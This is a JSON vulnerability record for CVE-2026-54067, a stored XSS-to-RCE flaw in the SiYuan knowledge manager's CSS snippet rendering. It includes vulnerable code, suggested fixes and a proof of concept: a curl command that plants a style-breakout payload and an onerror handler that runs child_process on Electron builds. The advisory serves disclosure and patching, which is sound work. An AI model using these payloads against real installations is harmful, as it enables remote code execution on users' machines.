{"id":"CVE-2026-54067","aliases":["CVE-2026-54067","GHSA-mvjr-vv3c-w4qv","GO-2026-5963"],"related":[],"kind":"vulnerability","state":"published","title":"SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()","summary":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls. The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway. This vulnerability is fixed in 3.7.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls. The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway. This vulnerability is fixed in 3.7.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA CSS snippet body containing `</style>` breaks out of its surrounding `<style>` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `</style><img src=x onerror=\"...\">` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require('child_process')` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.\n\nThe bug also bypasses the user's `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Sink: `app/src/config/util/snippets.ts:32`\n- Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json`\n- Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27`\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`\n\nThe write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `</style>` check, no type-specific validation:\n\n```go\nsnippet := &conf.Snippet{\n    ID:      m[\"id\"].(string),\n    Name:    m[\"name\"].(string),\n    Type:    m[\"type\"].(string),\n    Content: m[\"content\"].(string),\n    Enabled: m[\"enabled\"].(bool),\n}\n```\n\nStorage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer.\n\nThe renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `<style>` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event:\n\n```ts\nfetchPost(\"/api/snippet/getSnippet\", {type: \"all\", enabled: 2}, (response) => {\n  response.data.snippets.forEach((item: ISnippet) => {\n    const id = `snippet${item.type === \"css\" ? \"CSS\" : \"JS\"}${item.id}`;\n    if (item.type === \"css\") {\n      document.head.insertAdjacentHTML(\"beforeend\", `<style id=\"${id}\">${item.content}</style>`);\n    } else if (item.type === \"js\") {\n      // intentional script-loading path\n    }\n  });\n});\n```\n\n`${item.content}` lands inside the `<style>` tag. The HTML parser closes the style on the first `</style>` substring and treats anything after as a sibling of the empty `<style>` element.\n\nWorth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement(\"script\")` and sets `el.text = item.content`. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a `<style>` element, and that's the bug.\n\n#### Suggested fix\n\nThe cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`:\n\n```ts\nif (item.type === \"css\") {\n  const el = document.createElement(\"style\");\n  el.id = id;\n  el.textContent = item.content;\n  document.head.appendChild(el);\n}\n```\n\n`textContent` on a `<style>` element populates the CSS rules without invoking the HTML parser, so `</style>` in the body is a 4-character text node instead of a close tag.\n\nIf touching that line is undesirable, the smaller patch is to escape `<` before interpolation:\n\n```ts\nconst safe = item.content.replace(/[&<]/g, c => c === \"&\" ? \"&amp;\" : \"&lt;\");\ndocument.head.insertAdjacentHTML(\"beforeend\", `<style id=\"${id}\">${safe}</style>`);\n```\n\nEither fix on its own closes the bug. Worth also rejecting `</style>` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe.\n\n### PoC\n\nStand up SiYuan:\n\n```bash\ndocker run -d --name siyuan-poc \\\n  -v ./workspace:/siyuan/workspace \\\n  -p 16806:6806 \\\n  b3log/siyuan:latest \\\n  --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nPlant the snippet:\n\n```bash\nTOKEN=$(jq -r '.api.token' workspace/conf/conf.json)\n\ncurl -X POST http://localhost:16806/api/snippet/setSnippet \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -d '{\"snippets\":[{\"id\":\"\",\"name\":\"poc\",\"type\":\"css\",\"enabled\":true,\"content\":\"</style><img src=x onerror=\\\"document.title=\\\\\\\"SIYUAN_XSS\\\\\\\";window.__siyuan_xss=true\\\">\"}]}'\n```\n\nReturns `{\"code\":0,\"msg\":\"\",\"data\":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim.\n\nOpen `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools:\n\n```js\n({\n  markerFired: window.__siyuan_xss === true,\n  styleCount: document.querySelectorAll('style[id^=\"snippetCSS\"]').length,\n  imgsInHead: document.head.querySelectorAll('img').length,\n  snippetStyleEmpty: document.querySelector('style[id^=\"snippetCSS\"]')?.textContent.length === 0\n})\n```\n\nResult from my run on 2026-05-19 against `b3log/siyuan:latest`:\n\n```json\n{\n  \"markerFired\": true,\n  \"styleCount\": 1,\n  \"imgsInHead\": 1,\n  \"snippetStyleEmpty\": true\n}\n```\n\n`document.title` is `SIYUAN_XSS`. The `<style>` exists but closed empty on the first `</style>`. The smuggled `<img>` is a sibling in `<head>`. The injected `onerror` ran arbitrary JS.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n<img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload.\n\nThe bug also silently bypasses the user's snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.","format":"markdown","source":"ghsa"},{"lang":"en","text":"SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet() in github.com/siyuan-note/siyuan/kernel","format":"markdown","source":"go"},{"lang":"es","text":"SiYuan es un sistema de gestión de conocimiento personal de código abierto. Antes de la versión 3.7.0, el cuerpo de un fragmento CSS que contiene [/style] se escapa de su etiqueta [style] circundante cuando renderSnippet() lo interpola a través de insertAdjacentHTML. Una carga útil como ejecuta JavaScript arbitrario en el renderizador. En las compilaciones de escritorio de Electron, el renderizador se ejecuta con nodeIntegration:true, por lo que require(’child_process’) es accesible desde el gestor inyectado y el XSS se encadena a RCE del host. Los fragmentos se sincronizan a través del repositorio del espacio de trabajo, por lo que un atacante con acceso de escritura a cualquier espacio de trabajo sincronizado implanta la carga útil una vez y se activa en cada dispositivo que la descarga. El error también omite la separación enabledCSS / enabledJS del usuario. Un usuario que desactivó enabledJS estaba tomando una decisión deliberada de no ejecutar JavaScript no confiable; la ruta CSS lo ejecuta de todos modos. Esta vulnerabilidad está corregida en la versión 3.7.0.","source":"nvd"}],"published":"2026-06-24T21:14:38.173Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-79","CWE-1188"],"affected":[{"ranges":[{"version":"< 3.7.0","status":"affected"}],"vendor":"siyuan-note","product":"siyuan","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260628153353-2d5d72223df4"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260628153353-2d5d72223df4"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"go"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvjr-vv3c-w4qv","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54067","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-06-25T15:29:14.922Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-54067","url":"https://www.cve.org/CVERecord?id=CVE-2026-54067","licence":"CVE Terms of Use","modified":"2026-06-25T15:29:48.982Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mvjr-vv3c-w4qv","url":"https://github.com/advisories/GHSA-mvjr-vv3c-w4qv","licence":"CC-BY-4.0","modified":"2026-07-21T19:18:51.648Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5963","url":"https://pkg.go.dev/vuln/GO-2026-5963","licence":"CC-BY-4.0","modified":"2026-07-21T19:15:29.256Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-54067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54067","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:25.760Z","epss":{"score":0.00381,"percentile":0.34282,"date":"2026-12-01T12:00:22.000Z"}}